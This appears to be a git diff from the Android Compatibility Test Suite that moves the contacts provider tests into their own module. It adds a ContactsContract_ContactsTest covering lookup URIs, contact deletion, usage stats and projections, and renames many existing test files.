new file mode 100644
index 0000000..f1a239a
--- /dev/null
+++ b/tests/tests/contactsprovider/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 161000
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png b/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png
new file mode 100644
index 0000000..c730050
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png
Binary files differ
diff --git a/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png b/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png
Binary files differ
diff --git a/tests/tests/provider/res/drawable/size_48x48.jpg b/tests/tests/contactsprovider/res/drawable/size_48x48.jpg
similarity index 100%
rename from tests/tests/provider/res/drawable/size_48x48.jpg
rename to tests/tests/contactsprovider/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/tests/contactsprovider/res/drawable/testimage.jpg b/tests/tests/contactsprovider/res/drawable/testimage.jpg
new file mode 100644
index 0000000..754df0c
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/testimage.jpg
Binary files differ
diff --git a/tests/tests/contactsprovider/res/values/strings.xml b/tests/tests/contactsprovider/res/values/strings.xml
new file mode 100644
index 0000000..2aee454
--- /dev/null
+++ b/tests/tests/contactsprovider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="label">Contacts provider</string>
+</resources>
diff --git a/tests/tests/provider/res/xml/contactprovider_authenticator.xml b/tests/tests/contactsprovider/res/xml/contactprovider_authenticator.xml
similarity index 100%
rename from tests/tests/provider/res/xml/contactprovider_authenticator.xml
rename to tests/tests/contactsprovider/res/xml/contactprovider_authenticator.xml
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java
new file mode 100644
index 0000000..726d63d
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.provider.cts.contacts.R;
+
+import android.content.Context;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.InputStream;
+
+public class PhotoUtil {
+
+    public static byte[] getTestPhotoData(Context context) {
+        InputStream input = context.getResources().openRawResource(R.drawable.testimage);
+        return FileUtils.readInputStreamFully(input);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CommonDatabaseUtils.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
new file mode 100644
index 0000000..cb3a2a6
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -0,0 +1,430 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+
+import java.util.List;
+
+public class ContactsContract_ContactsTest extends AndroidTestCase {
+
+    private StaticAccountAuthenticator mAuthenticator;
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+
+        mAuthenticator = new StaticAccountAuthenticator(getContext());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testMarkAsContacted() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+        assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+
+        // Note we no longer support contact affinity as of Q, so times_contacted and
+        // last_time_contacted are always 0.
+
+        for (int i = 1; i < 10; i++) {
+            Contacts.markAsContacted(mResolver, contact.getId());
+            contact.load();
+            rawContact.load();
+
+            assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+            assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+            assertEquals("#" + i, 0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+        }
+    }
+
+    public void testContentUri() {
+        Context context = getContext();
+        PackageManager packageManager = context.getPackageManager();
+        Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
+        List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
+        assertFalse("Device does not support the activity intent: " + intent,
+                resolveInfos.isEmpty());
+    }
+
+    public void testLookupUri() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        Uri contactUri = contact.getUri();
+        long contactId = contact.getId();
+        String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+        Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
+        assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
+                lookupKey), contactId), lookupUri);
+
+        Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
+        assertNull(nullLookupUri);
+
+        Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
+        assertNull(emptyLookupUri);
+
+        Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
+        assertEquals(lookupUri, lookupUri2);
+
+        Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
+        assertEquals(contactUri, contactUri2);
+    }
+
+    public void testInsert_isUnsupported() {
+        DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
+    }
+
+    public void testContactDelete_removesContactRecord() {
+        assertContactCreateDelete();
+    }
+
+    public void testContactDelete_hasDeleteLog() {
+        long start = System.currentTimeMillis();
+        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
+
+        // Clean up. Must also remove raw contact.
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testContactDelete_marksRawContactsForDeletion() {
+        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+
+        String[] projection = new String[] {
+                ContactsContract.RawContacts.DIRTY,
+                ContactsContract.RawContacts.DELETED
+        };
+        List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
+                projection);
+        for (String[] arr : records) {
+            assertEquals("1", arr[0]);
+            assertEquals("1", arr[1]);
+        }
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    public void testContactDelete_localContactDeletedImmediately() {
+        // Create a raw contact in the local (null) account
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(
+                mResolver, null);
+
+        ContactUtil.delete(mResolver, ids.mContactId);
+
+        // Assert that the local raw contact is removed from the database and
+        // not merely marked DELETED=1.
+        assertNull(RawContactUtil.queryByRawContactId(mResolver, ids.mRawContactId, null));
+
+        // Nothing to clean up
+    }
+
+    public void testContactDelete_allLocalContactsDeletedImmediately() {
+        // Create two raw contacts in the local (null) account
+        DatabaseAsserts.ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(
+                mResolver, null, "John Smith");
+        DatabaseAsserts.ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(
+                mResolver, null, "John Smith");
+
+        // Aggregate the two raw contacts together
+        ContactUtil.setAggregationException(mResolver,
+                ContactsContract.AggregationExceptions.TYPE_KEEP_TOGETHER, ids1.mRawContactId,
+                ids2.mRawContactId);
+
+        // Assert that the contacts were aggregated together
+        long contactId1 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+                ids1.mRawContactId);
+        long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+                ids2.mRawContactId);
+        assertEquals(contactId1, contactId2);
+
+        // Delete the contact
+        ContactUtil.delete(mResolver, contactId1);
+
+        // Assert that both of the local raw contacts were removed from the database and
+        // not merely marked DELETED=1.
+        assertNull(RawContactUtil.queryByRawContactId(mResolver, ids1.mRawContactId, null));
+        assertNull(RawContactUtil.queryByRawContactId(mResolver, ids2.mRawContactId, null));
+
+        // Nothing to clean up
+    }
+
+    public void testContactDelete_localContactDeletedImmediatelyWhenAggregatedWithNonLocal() {
+        // Create a raw contact in the local (null) account
+        DatabaseAsserts.ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(
+                mResolver, null, "John Smith");
+
+        // Create a raw contact in a non-local account with the same name
+        DatabaseAsserts.ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(
+                mResolver, StaticAccountAuthenticator.ACCOUNT_1, "John Smith");
+
+        // Aggregate the two raw contacts together
+        ContactUtil.setAggregationException(mResolver,
+                ContactsContract.AggregationExceptions.TYPE_KEEP_TOGETHER, ids1.mRawContactId,
+                ids2.mRawContactId);
+
+        // Assert that the contacts were aggregated together
+        long contactId1 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+                ids1.mRawContactId);
+        long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+                ids2.mRawContactId);
+        assertEquals(contactId1, contactId2);
+
+        // Delete the contact
+        ContactUtil.delete(mResolver, contactId1);
+
+        // Assert that the local raw contact was removed from the database
+        assertNull(RawContactUtil.queryByRawContactId(mResolver, ids1.mRawContactId, null));
+
+        // Assert that the non-local raw contact was marked DELETED=1
+        String[] projection = new String[]{
+                ContactsContract.RawContacts.DIRTY,
+                ContactsContract.RawContacts.DELETED
+        };
+        List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids2.mContactId,
+                projection);
+        for (String[] arr : records) {
+            assertEquals("1", arr[0]);
+            assertEquals("1", arr[1]);
+        }
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids2.mRawContactId, true);
+    }
+
+    public void testContactUpdate_updatesContactUpdatedTimestamp() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+        ContentValues values = new ContentValues();
+        values.put(ContactsContract.Contacts.STARRED, 1);
+
+        SystemClock.sleep(1);
+        ContactUtil.update(mResolver, ids.mContactId, values);
+
+        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+        assertTrue(newTime > baseTime);
+
+        // Clean up
+        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+    }
+
+    /**
+     * Note we no longer support contact affinity as of Q, so times_contacted and
+     * last_time_contacted are always 0.
+     */
+    public void testContactUpdate_usageStats() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        final TestContact contact = rawContact.getContact().load();
+
+        contact.load();
+        assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        final long now = System.currentTimeMillis();
+
+        ContentValues values = new ContentValues();
+        values.clear();
+        values.put(Contacts.TIMES_CONTACTED, 3);
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        // This is also the same as markAsContacted().
+        values.clear();
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+        values.clear();
+        values.put(Contacts.TIMES_CONTACTED, 10);
+
+        ContactUtil.update(mResolver, contact.getId(), values);
+
+        contact.load();
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+    }
+
+    /**
+     * Make sure the rounded usage stats values are also what the callers would see in where
+     * clauses.
+     *
+     * This tests both contacts and raw_contacts.
+     */
+    public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        final TestContact contact = rawContact.getContact().load();
+
+        // To make things more predictable, inline markAsContacted here with a known timestamp.
+        final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
+
+        ContentValues values = new ContentValues();
+        values.put(Contacts.LAST_TIME_CONTACTED, now);
+
+        // This makes the internal TIMES_CONTACTED 35.  But the visible value is still 30.
+        for (int i = 0; i < 35; i++) {
+            ContactUtil.update(mResolver, contact.getId(), values);
+        }
+
+        contact.load();
+        rawContact.load();
+
+        assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+        assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+        assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+    }
+
+    public void testProjection() throws Exception {
+        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "xxx")
+                .insert();
+
+        final TestContact contact = rawContact.getContact().load();
+        final long contactId = contact.getId();
+        final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+        final String[] PROJECTION = new String[]{
+                Contacts._ID,
+                Contacts.DISPLAY_NAME,
+                Contacts.DISPLAY_NAME_PRIMARY,
+                Contacts.DISPLAY_NAME_ALTERNATIVE,
+                Contacts.DISPLAY_NAME_SOURCE,
+                Contacts.PHONETIC_NAME,
+                Contacts.PHONETIC_NAME_STYLE,
+                Contacts.SORT_KEY_PRIMARY,
+                Contacts.SORT_KEY_ALTERNATIVE,
+                Contacts.LAST_TIME_CONTACTED,
+                Contacts.TIMES_CONTACTED,
+                Contacts.STARRED,
+                Contacts.PINNED,
+                Contacts.IN_DEFAULT_DIRECTORY,
+                Contacts.IN_VISIBLE_GROUP,
+                Contacts.PHOTO_ID,
+                Contacts.PHOTO_FILE_ID,
+                Contacts.PHOTO_URI,
+                Contacts.PHOTO_THUMBNAIL_URI,
+                Contacts.CUSTOM_RINGTONE,
+                Contacts.HAS_PHONE_NUMBER,
+                Contacts.SEND_TO_VOICEMAIL,
+                Contacts.IS_USER_PROFILE,
+                Contacts.LOOKUP_KEY,
+                Contacts.NAME_RAW_CONTACT_ID,
+                Contacts.CONTACT_PRESENCE,
+                Contacts.CONTACT_CHAT_CAPABILITY,
+                Contacts.CONTACT_STATUS,
+                Contacts.CONTACT_STATUS_TIMESTAMP,
+                Contacts.CONTACT_STATUS_RES_PACKAGE,
+                Contacts.CONTACT_STATUS_LABEL,
+                Contacts.CONTACT_STATUS_ICON,
+                Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
+        };
+
+        // Contacts.CONTENT_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.CONTENT_URI,
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_FILTER_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_FILTER_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx")
+                        .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+                                String.valueOf(Directory.DEFAULT)).build(),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+
+        // Contacts.CONTENT_LOOKUP_URI
+        DatabaseAsserts.checkProjection(mResolver,
+                Contacts.getLookupUri(contactId, lookupKey),
+                PROJECTION,
+                new long[]{contact.getId()}
+        );
+    }
+
+    /**
+     * Create a contact.  Delete it.  And assert that the contact record is no longer present.
+     *
+     * @return The contact id and raw contact id that was created.
+     */
+    private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
+        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        SystemClock.sleep(1);
+        ContactUtil.delete(mResolver, ids.mContactId);
+
+        assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
+
+        return ids;
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_GroupMembershipTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_IsSuperPrimaryName.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhoneLookup.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PhotoTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
